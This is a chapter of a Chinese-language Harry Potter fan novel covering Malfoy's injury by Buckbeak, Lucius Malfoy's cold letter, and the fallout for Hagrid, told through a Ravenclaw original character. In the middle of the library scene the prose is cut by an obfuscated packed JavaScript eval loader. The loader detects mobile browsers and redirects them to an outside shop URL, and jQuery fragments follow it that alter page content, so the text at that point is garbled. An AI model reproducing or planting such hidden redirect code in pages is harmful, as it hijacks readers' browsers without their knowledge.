71.信件与立场

作品:《HP同人霍格沃茨上学指南

    医疗翼的空气永远带着消毒水和各种药水混合的独特气味,无论外面是晴是雨。


    Eva坐在靠窗的病床上,看着庞弗雷夫人魔杖尖端流淌出的银色光芒扫过她的手臂和胸口。那光芒很温和,像冬日的阳光透过结了霜的玻璃照进来,带来一种舒缓的暖意,暂时驱散了体内那股持续的空乏感。


    “比上周稍好,”庞弗雷夫人收回魔杖,眉头却依旧皱着,“基础魔力循环稳定,深层透支的恢复……只能说没有恶化。张小姐,我必须再次强调——避免任何形式的过度施法,尤其是涉及心神凝聚的魔法。你的身体像一口快要见底的井,每一滴水都得省着用。”


    她转身从药柜里取出两瓶药剂——一瓶是熟悉的淡绿色,另一瓶则是新调的、泛着珍珠光泽的乳白色液体。


    “绿色这瓶继续,早晚各一次。白色这瓶是新的,专门补充精神耗损,睡前服用。”庞弗雷夫人的语气不容置疑,“另外,从下周开始,每周一、四下午课后,来我这里做一次基础监测。我需要确保你的恢复进度在可控范围内。”


    Eva接过药瓶,瓶身在掌心传来微凉的触感。“谢谢您,夫人。”


    “不用谢我,”庞弗雷夫人叹了口气,眼神里有关切,也有一丝不易察觉的疲惫——今天处理马尔福的伤口耗费了她不少精力,“照顾好自己就是对我最大的感谢。现在,喝完这剂营养剂就可以回去了。”


    药剂的味道比平时更苦涩,带着一股浓重的草药腥气。Eva小口喝完,将空瓶递还给庞弗雷夫人。


    就在这时,医疗翼深处传来压抑的、带着疼痛的抽气声。


    是马尔福。


    他被安置在靠里的一张病床上,周围拉起了厚厚的帷幔,但声音还是漏了出来。庞弗雷夫人立刻转身走过去,动作迅速而专业。


    “别乱动,马尔福先生。生骨灵正在起作用,乱动会让骨头长歪。”她的声音透过帷幔传来,平静但严厉。


    “它……它在烧……”马尔福的声音嘶哑,带着明显的痛楚,那种平日里刻意维持的腔调荡然无存。


    “那是正常的。深可见骨的伤口,骨头再生就是这种感觉。”庞弗雷夫人毫不客气,“忍着点。比起抱怨,你更应该庆幸爪子没有划到动脉,不然现在就不是躺在这儿喝生骨灵的问题了。”


    帷幔里安静了几秒,只有压抑的呼吸声。


    Eva站起身,准备离开。她的目光无意识地扫过那道深绿色的帷幔——布料厚实,遮住了一切,只在地上投出一片模糊的阴影。


    就在她转身时,帷幔被一只苍白、微微发抖的手猛地掀开一角。


    德拉科·马尔福半靠在枕头上,脸色白得吓人,额头上全是冷汗。他那件昂贵的银绿色斗篷已经被庞弗雷夫人剪开扔在一旁,现在身上只穿着一件单薄的病号服,左臂从肩膀到肘部缠满了厚厚的绷带,隐约还能看到渗出的淡红色血迹。他的金发湿漉漉地贴在额前,灰蓝色的眼睛因为疼痛而微微失焦,但瞳孔深处还残留着未散的惊恐和……一种近乎愤怒的屈辱。


    他的目光死死盯着Eva,嘴唇翕动着,像是想说什么——也许是质问,也许是斥责,也许是别的什么。但最终,他只是死死咬着下唇,牙齿陷进苍白的肉里,留下深深的印子。那双眼睛里的情绪复杂得难以解读,但Eva能明确辨认出——像是在说“看什么看”。


    庞弗雷夫人立刻将帷幔拉严实了。“马尔福先生!我说了别乱动!伤口要是感染了,你就得去圣芒戈躺一个月!”


    Eva转身离开医疗翼,没有再看那道帷幔。曼蒂和帕德玛在走廊等她。雨还在下,从高窗望出去,天色已经彻底暗了下来,城堡各处的灯火在雨幕中晕开成模糊的光团。


    帷幔里,德拉科·马尔福盯着天花板,牙关紧咬。


    生骨灵带来的灼烧感像有无数根细针在他的骨头里来回穿刺,每一次心跳都带来一阵新的痛楚。


    刚才那个拉文克劳……张。她就坐在那儿,安静地让庞弗雷夫人检查,喝药,然后离开。整个过程平静得像在喝茶。没有惊恐,没有慌乱,甚至没有多余的表情。


    他想起围场里她站在雨中的样子——深蓝色的斗篷,平静的目光,还有那双该死的、永远看不出情绪的黑眼睛。她看见了,肯定看见了。看见了他被巴克比克的爪子划开,看见了他流血,看见了他脸上的惊恐。


    而现在,她又看见了他在医疗翼的狼狈。


    一股混杂着疼痛、羞耻和愤怒的热流冲上喉咙。他闭上眼睛,试图把那些画面赶走,但没用——爪子划破皮肤的撕裂感,鲜血涌出来的温热,还有周围那些目光……那些目光里有没有她的?


    就在这时,帷幔外传来庞弗雷夫人送走张之后返回的脚步声。然后是羽毛笔划过羊皮纸的沙沙声——大概是在写医疗记录。


    “……张小姐,恢复进度缓慢,需持续监测……”


    马尔福的耳朵捕捉到了几个词。恢复缓慢?透支?他想起火车上那次——摄魂怪来的时候,隔间里那点微弱的金光。还有更早,二年级那些模糊的传闻。


    她也并非刀枪不入。她也会虚弱,也需要治疗。


    这个念头不知为何让他胸口的烦躁稍微平息了一瞬,但随即又被新的怒火取代——那又如何?她还是那个该死的、永远一副超然姿态的拉文克劳。而他,德拉科·马尔福,现在躺在这儿,像个残废。


    帷幔被轻轻拉开一条缝。庞弗雷夫人端着一杯冒着热气的药水走进来。“喝了这个,能缓解生骨灵的副作用。然后试着睡一觉。明天早上我再检查伤口。”


    马尔福用没受伤的手接过杯子,药水散发着刺鼻的苦味。他一饮而尽,把杯子重重地放回床头柜。


    “猫头鹰,”他嘶哑地说,“我需要给我的猫头鹰送信。”


    庞弗雷夫人皱眉:“明天再说。你现在需要休息。”


    “现在。”马尔福的声音里多了一丝不容置疑的强硬,那是从小在马尔福庄园里耳濡目染的腔调,“我父亲需要知道发生了什么。”


    庞弗雷夫人盯着他看了几秒,最后叹了口气。“我可以让家养小精灵去猫头鹰棚屋传话。但只能简短说明情况,详细报告要等你明天身体状况稳定了再写。”


    “可以。”马尔福重新闭上眼睛,不再说话。


    庞弗雷夫人离开后,帷幔里重新陷入寂静。只有雨声,还有他自己粗重的呼吸。


    他在脑海里组织着词句。要怎么写?怎么写才能让父亲明白这不是他的错?是那个半巨人的错,是那只野兽的错,是霍格沃茨糟糕的教学管理的错。


    但更深的某个角落,一个微弱的声音在说:是你自己没按规矩来。是你伸手去拍它的脖子,像在拍一匹马。


    他猛地摇头,把这个念头甩开。不。他是马尔福。马尔福做什么都是对的。如果出了问题,那一定是别人的问题。


    回到拉文克劳塔楼时,公共休息室里的人比刚才少了一些。几个高年级学生还在壁炉旁低声讨论着什么——大概是关于下午的事。看见Eva他们三人进来,他们投来关切的目光,但没有上前打扰。


    曼蒂和帕德玛先回了寝室。Eva在常坐的靠窗位置坐下,摊开魔法史作业——关于国际巫师联合会成立初期的保密法争议。羽毛笔在羊皮纸上移动,发出沙沙的声响。窗外的雨声成了恒定的背景音,偶尔夹杂着远处传来的、被风雨模糊的猫头鹰鸣叫。


    写了几行,她停下笔。


    下午的画面依旧清晰:爪子划破空气的轨迹,鲜血在雨中晕开的颜色,还有马尔福最后那个眼神。


    她想起爷爷说过的话:“有些人看世界,只看得见自己想看的。眼睛睁得再大,心是闭着的。”


    马尔福的眼睛里,大概只看得见“马尔福应该比波特强”,看不见巴克比克那双黄眼睛里闪烁的骄傲和警惕。


    而她自己呢?她的眼睛看到了什么?


    体内的空乏感依旧清晰,像一口永远装不满的井。庞弗雷夫人的警告在耳边回响:“每一滴水都得省着用。”


    她低头看着自己的手——手指修长,掌心有常年握笔留下的薄茧。这双手能写出工整的如尼文符号,能画出爷爷教的守心符,能在危急关头握住魔杖施咒。但现在,它们需要休息。


    爷爷的信里说:“丽华,静养即是修行。心急吃不了热豆腐。”


    她重新提起笔,继续写作业。笔尖在羊皮纸上移动,一个字一个字,一行一行。窗外的雨声渐渐小了,变成了细密的、几乎听不见的沙沙声。


    第二天早晨,礼堂里的气氛明显不同。


    早餐时分,一只巨大的雕鸮——羽毛黑得发亮,脚环是精致的银色——穿过高高的彩绘玻璃窗,精准地降落在斯莱特林长桌,将一个厚重的墨绿色信封丢在德拉科·马尔福面前的空盘子里。火漆是醒目的银色蟒蛇图案。


    马尔福的手臂还吊在绷带里,脸色苍白,但背脊挺得笔直。他用没受伤的右手拿起信封,手指在火漆上停顿了一瞬,才用小刀利落地划开。


    他展开信纸,只看了一眼,嘴角就向下撇出一个冰冷而满意的弧度。


    “我父亲已经知道了。”他的声音不大,但足够让周围几个斯莱特林听见,也足够传到邻近的拉文克劳长桌这边,“他说魔法部会对这种……教学失职进行‘严肃调查’。”他刻意加重了最后几个字,灰蓝色的眼睛扫向教师席——海格不在,大概还在自己的小屋里。


    潘西·帕金森立刻凑过去,声音尖细而兴奋:“卢修斯叔叔一定会让那个半巨人滚蛋的!他根本不该当教授!”


    克拉布和高尔笨拙地点头,嘴里塞满了香肠。


    拉文克劳这边,曼蒂低声对Eva说:“你看他那样子……好像已经赢了似的。”


    帕德玛皱眉:“海格教授会有麻烦吗?”


    “很可能。”Eva轻声说,目光落在马尔福手中的信纸上。那纸张很厚,在晨光下泛着高级羊皮纸特有的光泽。


    早餐后,第一节课是魔咒课。弗立维教授今天复习的是快乐咒——一个上学期学过的、需要精确情绪引导的咒语。


    “快乐咒的关键在于回忆真正的快乐,并将那种感觉注入魔杖。”弗立维教授站在一堆书上,声音尖细但充满热情,“我知道最近有些……令人不安的事在发生,但试着暂时放下那些,回想一件让你真正快乐的事。”


    教室里响起一片尝试声。魔杖尖冒出各种颜色的光芒——有的明亮欢快,有的微弱闪烁,有的干脆什么都没发生。


    苏珊·博恩斯的魔杖尖绽放出一小团温暖的金色光晕,里面隐约有家庭聚餐的幻影。厄尼·麦克米兰试了几次,只冒出几颗暗红色的火星。汉娜·艾博则成功召唤出了一小群闪闪发光的蝴蝶,在课桌上空翩翩起舞。


    Eva握着魔杖,尝试调动情绪。她想起暑假里妈妈绣的那条披肩,竹影在月白底子上疏疏落落;想起老宅照片里盛开的荷花;想起秋在树下说的那些话……但每次情绪刚酝酿起来,体内那股空乏感就像一层薄冰,将暖意隔绝在外。魔杖尖只亮起一点极其微弱的、几乎看不见的银芒,转瞬即逝。


    弗立维教授飘到她身边,矮小的身影投在桌上。“别着急,张小姐。快乐咒对心绪的稳定性要求很高。有时候,身体的状态会影响情绪的调动。”他的声音很温和,“先从基础的荧光闪烁开始,找回魔力的稳定流动感。”


    Eva点点头,放下魔杖。她需要时间,需要耐心。


    课间休息时,走廊里的议论声更加密集了。


    “……我听说魔法部神奇动物管理控制司的人要来。”一个赫奇帕奇五年级生对同伴说,“好像是要评估海格的教学资格。”


    “这么快?”


    “马尔福家施压了呗。我爸爸在魔法部工作,他说卢修斯·马尔福昨天下午就发了一封吼叫信给部长办公室——”


    “嘘!小声点!”


    Eva和帕德玛、曼蒂一起走向下一节课的教室。经过门厅时,她们看见麦格教授正快步走向城堡大门,表情严肃得像要上战场。门外,雨已经停了,但天空依旧阴沉,乌云低低地压着远处的山脉。


    下午的保护神奇生物课取消了——布告栏上贴出了麦格教授的通知,用简洁的字体写着:“保护神奇生物课暂停,直至另行通知。请三年级学生前往图书馆完成相关阅读作业。”


    图书馆里挤满了人。平斯夫人像只警惕的母鸡,在书架间来回巡视,锐利的目光扫过每一个试图交头接耳的学生。


    Eva在靠窗的老位置坐下,摊开古代如尼文作业。赫敏已经在那里了,面前堆着三本厚重的参考书,羽毛笔在羊皮纸上飞速移动。她的脚边,一只姜黄色、罗圈腿、脸像被压扁了的猫正蜷成一团睡觉——是克鲁克山,赫敏暑假从对角巷宠物店买来的。


    “我在查关于教学事故的法律条文,”赫敏压低声音说,镜片后的眼睛闪烁着专注的光芒,“根据《霍格沃茨教职员工行为准则》……”


    罗恩凑过来,怀里抱着他那本破旧的《千种神奇药草与蕈类》,肩膀上蹲着斑斑——那只灰不溜秋、缺了个趾头的老鼠正不安地扭动着。“斑斑这几天一直不对劲,”罗恩嘟囔道,“总是想往床底下钻。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006880|193567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “可能是因为克鲁克山。”赫敏头也不抬地说,“猫和老鼠,你知道的。”


    “但它以前从没这样过。”罗恩皱起眉头,把斑斑塞回口袋。老鼠在里面继续不安地扭动。


    哈利坐在一旁,绿眼睛盯着面前的《中级变形术指南》,但显然没看进去。他的手指无意识地敲击着桌面,节奏紊乱。


    “海格会被开除吗?”他忽然问,声音很轻。


    赫敏咬了咬嘴唇:“我不知道。但情况……不乐观。”


    就在这时,图书馆的门被推开了。


    德拉科·马尔福走了进来。他的手臂还吊在绷带里,脸色苍白,但已经换上了一身崭新的、剪裁完美的校袍——银绿色,边缘用银线绣着细密的花纹。潘西·帕金森挽着他没受伤的胳膊,克拉布和高尔像两座沉默的肉山跟在后面。


    他们的出现像一块石头投入平静的水面。图书馆里瞬间安静下来,所有的目光——好奇的、厌恶的、同情的、幸灾乐祸的——都集中过去。


    马尔福的下颌线绷得很紧,灰蓝色的眼睛直视前方,仿佛完全没注意到那些目光。他径直走向斯莱特林学生常坐的区域——那里有几个高年级学生已经站起身,为他让出了最好的位置。


    经过这边时,他的脚步几不可察地顿了一下。目光扫过——掠过赫敏面前堆满的书,掠过哈利紧绷的侧脸,最后落在Eva身上。


    非常短暂。不到半秒。


    那双灰蓝色的眼睛里没有了昨天在医疗翼时的脆弱或愤怒,只剩下一种冰冷的、近乎空洞的平静。像一面擦得太亮的镜子,只反射光线,不透露任何情绪。然后他的视线就移开了,仿佛她只是背景里的一件家具,一个无关紧要的摆设。


    他坐下时,潘西立刻凑过去小声说着什么,但他没怎么回应,只是用没受伤的手翻开一本《高级魔药制作》,目光落在书页上,却久久没有移动。


    墨绿色的信纸在指尖微微颤抖——不是因为疼痛,是因为愤怒。


    父亲的字迹一如既往的锋利、克制,没有一个多余的字:


    “德拉科,


    获悉你受伤。已联络魔法部相关司局,此事将依程序处理。


    记住,马尔福的声誉高于一切,在公开场合保持应有的姿态,勿流露软弱。


    你祖父曾言:真正的力量不在于压倒他人,而在于掌控局面。利用此次事件,观察各方的反应,尤其是邓布利多的应对。


    另,摄魂怪进驻后,霍格沃茨内部暗流涌动。与合适之人交往,保持距离,勿涉险境。


    父字”


    没有一句“疼不疼”,没有一句“好好休息”。只有“声誉”、“姿态”、“掌控局面”、“观察反应”。


    德拉科盯着那几行字,直到它们在他眼前模糊成一片墨绿色的污迹。生骨灵的灼烧感还在骨头里蔓延,但比起这个,信里的冷漠更让他觉得冷。


    他想起了围场里那个拉文克劳——张。她站在那里,看着他流血,眼神平静得像在看一场雨。还有刚才在图书馆,她坐在那儿写作业,连头都没抬。


    也许父亲是对的。软弱没有用。疼痛没有用。只有掌控局面才有用。


    他慢慢折起信纸,塞进袍子内侧的口袋。动作很稳,稳得像在完成某种仪式。


    潘西还在旁边小声说着什么关于记者采访的事,但他没听进去。他的目光飘向窗外,雨又开始下了,细细密密的,像永远也下不完。


    父亲说“观察各方的反应”。


    好。那他就好好观察。


    看看那个半巨人会不会被赶走,看看邓布利多会怎么保护他,看看波特和他的朋友们会怎么跳脚,也看看……那个永远平静的拉文克劳,会有什么反应。


    也许她真的像庞弗雷夫人说的那样,是一口快要见底的井。但那又如何?她现在还能坐在那儿写作业,还能去上课,还能用那种该死的平静眼神看人。


    而他,德拉科·马尔福,现在需要一只手吊着绷带,需要忍受生骨灵的灼烧,需要面对周围那些目光——怜悯的、嘲笑的、幸灾乐祸的。


    不公平。


    这个念头像毒蛇一样钻进心里。但很快,他就把它压了下去。马尔福不需要公平。马尔福需要的是赢。


    他重新翻开《高级魔药制作》,强迫自己把注意力集中在那些复杂的配方上。手指在书页上收紧,指节泛白。


    Eva写完最后一个如尼文符号,放下笔。羊皮纸上的黑色线条工整清晰,每一个角度都精确复制了芭布玲教授的要求。


    她将羊皮纸卷好,收进书包。那瓶墨水也被小心地盖好,放回内袋。


    起身离开时,她最后看了一眼斯莱特林那边。马尔福还坐在那里,背对着她,淡金色的头发在图书馆昏暗的光线下几乎融进背景。潘西正试图把一碟小点心推到他面前,但他没动。


    克拉布和高尔已经打起了瞌睡,脑袋一点一点。


    西奥多·诺特坐在稍远一些的位置,安静地看着一本关于炼金术的古籍,仿佛周遭的一切都与他无关。


    Eva转身,和帕德玛、曼蒂一起走出图书馆。走廊里很冷,雨水顺着高窗的玻璃蜿蜒流下,像一道道透明的伤痕。


    “你说海格教授现在在哪儿?”曼蒂小声问。


    “大概在他的小屋里,”帕德玛轻声说,“或者……在麦格教授的办公室。”


    她们走向礼堂。晚餐时间快到了,空气中开始飘散出烤面包和炖菜的香气。但今天,这香气里似乎掺杂了一丝别的东西——一种紧绷的、等待宣判的沉寂。


    经过门厅时,她们看见费尔奇正吃力地拖着一个巨大的水桶,嘴里骂骂咧咧地擦拭着大理石地板上的泥脚印——那是下午学生们从庭院带进来的。


    “肮脏!粗野!把城堡当猪圈!”他嘶哑的声音在空旷的门厅里回荡。


    洛丽丝夫人蹲在楼梯扶手上,黄色的眼睛警惕地转动,尾巴尖微微翘起。


    Eva抬头望向城堡深处。高高的天花板投下巨大的阴影,火把的光芒在潮湿的空气里摇曳不定。


    有些人的眼睛只看得见自己想看的。有些人的心只装得下自己想要的。


    而她,现在只需要做好一件事:让身体里那口井慢慢蓄满水。一笔一划写好作业。一天一天恢复力气。


    爷爷的信里最后一句话是:“脚踏实地,一步一个脚印。”


    她深吸一口气,冰冷的空气刺痛了肺。腕间的玉佩传来温润的触感,像一句无声的、古老的守护。


    晚餐的钟声敲响了,浑厚而悠长,在雨夜的城堡里层层回荡。